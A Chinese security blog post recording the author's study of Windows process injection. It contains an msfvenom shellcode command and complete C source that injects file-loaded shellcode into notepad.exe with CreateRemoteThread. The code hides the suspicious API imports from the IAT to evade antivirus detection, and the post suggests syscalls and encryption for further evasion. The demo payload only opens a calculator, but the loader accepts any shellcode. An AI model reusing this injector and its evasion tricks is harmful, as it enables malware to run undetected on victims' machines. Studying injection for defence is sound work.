<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    進程注入的探索

    一顆小胡椒2022-07-29 08:22:06

    前言

    文章涉及的技術并不深,只是本人在學習進程注入過程中的記錄,文章的內容將涉及到進程注入基礎、通過快照自動獲取Pid、分離加載shellcode、IAT導入表的基本處理、靜態源碼基本處理等,過程中需要理解的部分,我會盡可能言簡意賅。

    0x01 簡單描述

    進程注入就是給一個正在運行的程序開辟一塊內存,把shellcode放入內存,然后用一個線程去執行shellcode。

    0x02 shellcode

    所有代碼示例都使用從 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。

    msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

    shellcode 執行 Calc.exe

    0x03 代碼實現

    關于 CreateRemoteThread() 進程注入,實際上需要實現四個主要目標:

    • OpenProcess() 打開將要注入進程獲取句柄
    • VirtualAllocEx() – 能夠訪問外部進程以便在其虛擬地址空間內分配內存。
    • WriteProcessMemory( ) – 將 shellcode 寫入分配的內存。
    • CreateRemoteThread() – 讓外部進程在另一個線程中執行上述 shellcode。

    獲取目標進程句柄 OpenProcess()

    OpenProcess 函數打開一個現有的進程對象。

    HANDLE OpenProcess(
      DWORD dwDesiredAccess, // 渴望得到的訪問權限(標志),那肯定是PROCESS_ALL_ACCESS,所有權限啊
      BOOL  bInheritHandle,  // 是否繼承句柄,一般不
      DWORD dwProcessId      // 進程標識符,即受害者進程的PID);
    

    申請內存 VirtualAllocEx()

    我們首先需要分配一塊與我們的 shellcode 大小相同的內存。VirtualAllocEx 是我們需要調用的 Windows API,以便初始化位于指定進程(即我們要注入的進程)的虛擬地址空間內的內存區域中的緩沖區空間。

    VirtualAllocEx – 與VirtualAlloc (HANDLE hProcess)相比,此 API 調用需要一個附加參數,后者是受害者進程的句柄。

    LPVOID VirtualAllocEx(
      HANDLE hProcess,         // 申請內存所在的進程句柄
      LPVOID lpAddress,        // 保留頁面的內存地址,一般用NULL自動分配
      SIZE_T dwSize,           // 欲分配的內存大小,字節為單位,通常是shellcode大小
      DWORD  flAllocationType, // 指定要分配的內存類型,常用 MEM_RESERVE | MEM_COMMIT
      DWORD  flProtect         // 指定分配的內存保護,由于它將包含要執行的代碼,因此常用 PAGE_EXECUTE_READWRITE,可讀可寫可執行);
    

    寫進程內存 WriteProcessMemory()

    現在我們已經分配了一個與我們的 shellcode 大小相同的緩沖區,我們可以將我們的 shellcode 寫入該緩沖區。

    WriteProcessMemory() – 將數據寫入指定進程中的內存區域。BOOL WriteProcessMemory(
      HANDLE  hProcess,               // 要向其中寫入數據的進程,即由OpenProcess返回的進程句柄
      LPVOID  lpBaseAddress,          // 要寫入的數據的首地址,VirtualAllocEx的返回值
      LPCVOID lpBuffer,               // 指向要寫的數據的指針,該指針必須是const指針,即shellcode
      SIZE_T  nSize,                  // 要寫入的字節數,shellcode大小
      SIZE_T  *lpNumberOfBytesWritten // 接收傳輸到指定進程中的字節數,通常為NULL);
    

    創建遠程線程 CreateRemoteThread()

    將 shellcode 加載到受害進程分配的虛擬內存空間后,我們現在可以告訴受害進程從我們的 shellcode 緩沖區地址開始創建一個新線程。

    CreateRemoteThread() – 創建一個在另一個進程的虛擬地址空間中運行的線程。

    HANDLE CreateRemoteThread(
      HANDLE                 hProcess,           // 線程所屬進程的進程句柄,即OpenProcess返回的句柄
      LPSECURITY_ATTRIBUTES  lpThreadAttributes, // 線程的安全屬性,通常為NULL
      SIZE_T                 dwStackSize,        // 線程棧初始大小,以字節為單位,通常為0,即代表使用系統默認大小.
      LPTHREAD_START_ROUTINE lpStartAddress,     // 在遠程進程的地址空間中,該進程的線程函數的起始地址。VirtualAllocEx返回值,注意需要強制類型轉換成 LPTHREAD_START_ROUTINE
      LPVOID                 lpParameter,        // 傳給線程函數的參數的指針,這里為NULL,在DLL注入的時候有重要意義
      DWORD                  dwCreationFlags,    // 線程的創建標志,通常為0,即線程創建后立即運行
      LPDWORD                lpThreadId          // 指向所創建線程ID的指針,通常為NULL);
    

    基礎代碼

    #include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {
        unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00""\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff""\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb""\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c""\x63\x2e\x65\x78\x65\x00";
         printf("alloc:%p\n", buf);HANDLE Process = OpenProcess( 
           (DWORD)PROCESS_ALL_ACCESS, 
           (BOOL)FALSE, 
           //(DWORD)atoi(pid)); 
           atoi(argv[1])); 
       if (Process == NULL) 
       { 
         printf("\nopenprocess error%d\n", GetLastError()); 
              } 
       printf("pid:%d",atoi(argv[1])); 
       void * exec = VirtualAllocEx( Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
       if (exec == NULL) 
       { 
           printf("VirtualAllocEx error%d\n", GetLastError()); 
       } BOOL Memory = WriteProcessMemory( 
           (HANDLE)Process, 
           (LPVOID)exec, 
           (LPCVOID)buf, 
           sizeof buf, 
            NULL   ); 
       if (Memory == 0) 
       { 
           printf("WriteProcessMemory:%d\n", GetLastError()); 
       } HANDLE thred = CreateRemoteThread( 
           (HANDLE)Process, 
           (LPSECURITY_ATTRIBUTES)NULL, 
           (SIZE_T)0, 
           (LPTHREAD_START_ROUTINE)exec, 
           (LPVOID)NULL, 
           (DWORD)0, 
           (LPDWORD)NULL   ); 
       if (thred == NULL) 
       { 
           printf("CreateRemoteThread:%d\n", GetLastError()); 
       } }
    

    拍攝快照自動獲取pid

    官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes

    // 拍攝快照HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);if (Snapshot == INVALID_HANDLE_VALUE){
        printf("CreateToolhelp32Snapshot:%d\n", GetLastError());}//初始化PROCESSENTRY32  pe32;pe32.dwSize = sizeof(PROCESSENTRY32);BOOL First = Process32First(
        (HANDLE)Snapshot,
        &pe32);if (First == FALSE){
        printf("Process32First:%d\n", GetLastError());}//匹配注入進程名字DWORD pid;while (First){
        if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
        {
            pid = pe32.th32ProcessID;
            break;
        }
        First = Process32Next((HANDLE)Snapshot,
            &pe32);}
    

    分離加載 shellcode

    HANDLE openinfile = CreateFileA( 
           //"e:\\calc.bin", 
           lnFileName, 
           GENERIC_READ, 
           0, 
           NULL, 
           OPEN_EXISTING, 
           FILE_ATTRIBUTE_NORMAL, 
           NULL); 
       if (openinfile == INVALID_HANDLE_VALUE); 
       { 
           printf("CreateFile Error:%d\n", GetLastError()); 
       } 
       // 
       int size = GetFileSize(openinfile, NULL); 
       if (size == INVALID_FILE_SIZE); 
       { 
           printf("GetFileSize Error:%d\n", GetLastError()); 
       } 
       // 
       char* buf = (char*)malloc(size + 1); 
       DWORD lpNumberOfBytesRead = 0; 
       // 
       BOOL rfile = ReadFile( 
           openinfile, 
           buf, 
           size, 
           &lpNumberOfBytesRead, 
           NULL); 
       for (int i = 0; i < size; i++) 
       { 
           printf("\\x%02x", (unsigned char)buf[i]); 
       }
    

    IAT,導入地址表(Import Address Table)

    IAT表是執行程序或者dll為了實現動態加載和重定位函數地址,用到的一個導入函數地址表。這里面記錄了每個導入函數的名字和所在的dll名稱,在pe加載的時候系統會加載這些dll到用戶的地址空間然后把函數地址覆蓋這個表里的函數地址,然后重構所有用到這個表的代碼,讓其調用直接指向實際函數地址(PE是否覆蓋不確定,驅動會這么做),PE的IAT表會留在內存,驅動的就丟棄了。

    翻譯:IAT是一種表格,用來記錄程序正在使用哪些庫中的哪些函數。

    如果一個文件的文件大小在300KB以內,并且導入函數又有Virtual Alloc、CreateThread等高危函數、且VirtualAlloc的最后一個參數是0x40,那么此文件極有可能是高危文件,會被重點關注。

    這里使用VS自帶的 dumpbin查看

    沒修改iat之前 可以看到存在高危函數 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

    在字符串中還能看到敏感函數關鍵字,解決辦法:通過拆分、源代碼混淆、加殼等即可。

    GetProcAddress 獲取函數地址

    GetProcAddress這個API在Kernel32.dll中被導出,主要功能是從一個加載的模塊中獲取函數的地址。

    typedef LPVOID(WINAPI* Virtual_AllocEx)( 
       _In_ HANDLE hProcess, 
       _In_opt_ LPVOID lpAddress, 
       _In_ SIZE_T dwSize, 
       _In_ DWORD flAllocationType, 
       _In_ DWORD flProtect ); typedef BOOL (WINAPI* ImportWriteProcessMemory)( 
       _In_ HANDLE hProcess, 
       _In_ LPVOID lpBaseAddress, 
       _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
       _In_ SIZE_T nSize, 
       _Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE (WINAPI* ImportCreateRemoteThread)( 
       _In_ HANDLE hProcess, 
       _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
       _In_ SIZE_T dwStackSize, 
       _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
       _In_opt_ LPVOID lpParameter, 
       _In_ DWORD dwCreationFlags, 
       _Out_opt_ LPDWORD lpThreadId );
       //避免高危字符串
       char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 }; 
       HMODULE hKer32 = LoadLibraryA(ker32); 
       char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0}; 
       Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
    

    修改后查看一下導入表,高危函數已不在iat中了

    完整代碼

    #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <TCHAR.h> typedef LPVOID(WINAPI* ImportVirtualAllocEx)( 
       _In_ HANDLE hProcess, 
       _In_opt_ LPVOID lpAddress, 
       _In_ SIZE_T dwSize, 
       _In_ DWORD flAllocationType, 
       _In_ DWORD flProtect 
       ); typedef BOOL(WINAPI* ImportWriteProcessMemory)( 
       _In_ HANDLE hProcess, 
       _In_ LPVOID lpBaseAddress, 
       _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
       _In_ SIZE_T nSize, 
       _Out_opt_ SIZE_T* lpNumberOfBytesWritten 
       ); typedef HANDLE(WINAPI* ImportCreateRemoteThread)( 
       _In_ HANDLE hProcess, 
       _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
       _In_ SIZE_T dwStackSize, 
       _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
       _In_opt_ LPVOID lpParameter, 
       _In_ DWORD dwCreationFlags, 
       _Out_opt_ LPDWORD lpThreadId 
       ); void code(LPCSTR lnFileName) { 
       //char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 }; 
       //HMODULE hKer32 = LoadLibraryA(ker32); 
       //char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 }; 
       //Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx"); 
       ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); 
       ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); 
       ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread"); 
       HANDLE openinfile = CreateFileA( 
           //"e:\\calc.bin", 
           lnFileName, 
           GENERIC_READ, 
           0, 
           NULL, 
           OPEN_EXISTING, 
           FILE_ATTRIBUTE_NORMAL, 
           NULL);
       if (openinfile == INVALID_HANDLE_VALUE); 
       { 
           printf("CreateFile Error:%d\n", GetLastError()); 
       } 
       // 
       int size = GetFileSize(openinfile, NULL); 
       if (size == INVALID_FILE_SIZE); 
       { 
           printf("GetFileSize Error:%d\n", GetLastError()); 
       } 
       // 
       char* buf = (char*)malloc(size + 1); 
       DWORD lpNumberOfBytesRead = 0; 
       // 
       BOOL rfile = ReadFile( 
           openinfile, 
           buf, 
           size, 
           &lpNumberOfBytesRead, 
           NULL); 
       for (int i = 0; i < size; i++) 
       { 
           printf("\\x%02x", (unsigned char)buf[i]); 
       } 
       // 
       HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0); 
       if (Snapshot == INVALID_HANDLE_VALUE) 
       { 
           printf("CreateToolhelp32Snapshot:%d\n", GetLastError()); 
       } 
       // 
       PROCESSENTRY32  pe32; 
       pe32.dwSize = sizeof(PROCESSENTRY32); 
       BOOL First = Process32First( 
           (HANDLE)Snapshot, 
           &pe32); 
       if (First == FALSE) 
       { 
           printf("Process32First:%d\n", GetLastError()); 
       } 
       // 
       DWORD pid; 
       while (First) 
       { 
           if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) 
           { 
               pid = pe32.th32ProcessID; 
               break; 
           } 
           First = Process32Next((HANDLE)Snapshot, 
               &pe32); 
       } 
       HANDLE Process = OpenProcess( 
           (DWORD)PROCESS_ALL_ACCESS, 
           (BOOL)false, 
           //(DWORD)atoi(pid)); 
           (DWORD)pid 
       ); 
       if (Process == NULL) 
       { 
           CloseHandle(Process); 
           printf("\nopenprocess error%d\n", GetLastError()); 
       } 
       _tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID); 
       HANDLE exec = MyVirtualAllocEx( 
           Process, 
           NULL, 
           //sizeof(buf), 
           size, 
           MEM_COMMIT, 
           PAGE_EXECUTE_READWRITE 
       ); 
       if (exec == NULL) 
       { 
           printf("VirtualAllocEx error%d\n", GetLastError()); 
       } 
       BOOL Memory = MyWriteProcessMemory( 
           (HANDLE)Process, 
           (LPVOID)exec, 
           (LPCVOID)buf, 
           //sizeof buf, 
           size, 
           NULL); 
       if (Memory == 0) 
       { 
           printf("WriteProcessMemory:%d\n", GetLastError()); 
       } 
       HANDLE thred = MyCreateRemoteThread( 
           (HANDLE)Process, 
           (LPSECURITY_ATTRIBUTES)NULL, 
           (SIZE_T)0, 
           (LPTHREAD_START_ROUTINE)exec, 
           (LPVOID)NULL, 
           (DWORD)0, 
           (LPDWORD)NULL); 
       if (thred == NULL) 
       { 
           CloseHandle(thred); 
           printf("CreateRemoteThread:%d\n", GetLastError()); 
       } } int main(int argc, char* argv[]) { 
       //int main() 
       if (argc != 2) 
       { 
           printf("please bin"); 
       } 
       else 
       { 
           code(argv[1]); 
       } }
    

    后續還可以嘗試增加syscall直接調用、回調函數執行、申請內存優化、高強度加密混淆等等,還請師傅自行搭配使用。

    0x04 相關推薦

    https://payloads.online/archivers/2020-10-23/1/

    https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/

    https://github.com/d35ha/CallObfuscator

    charchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类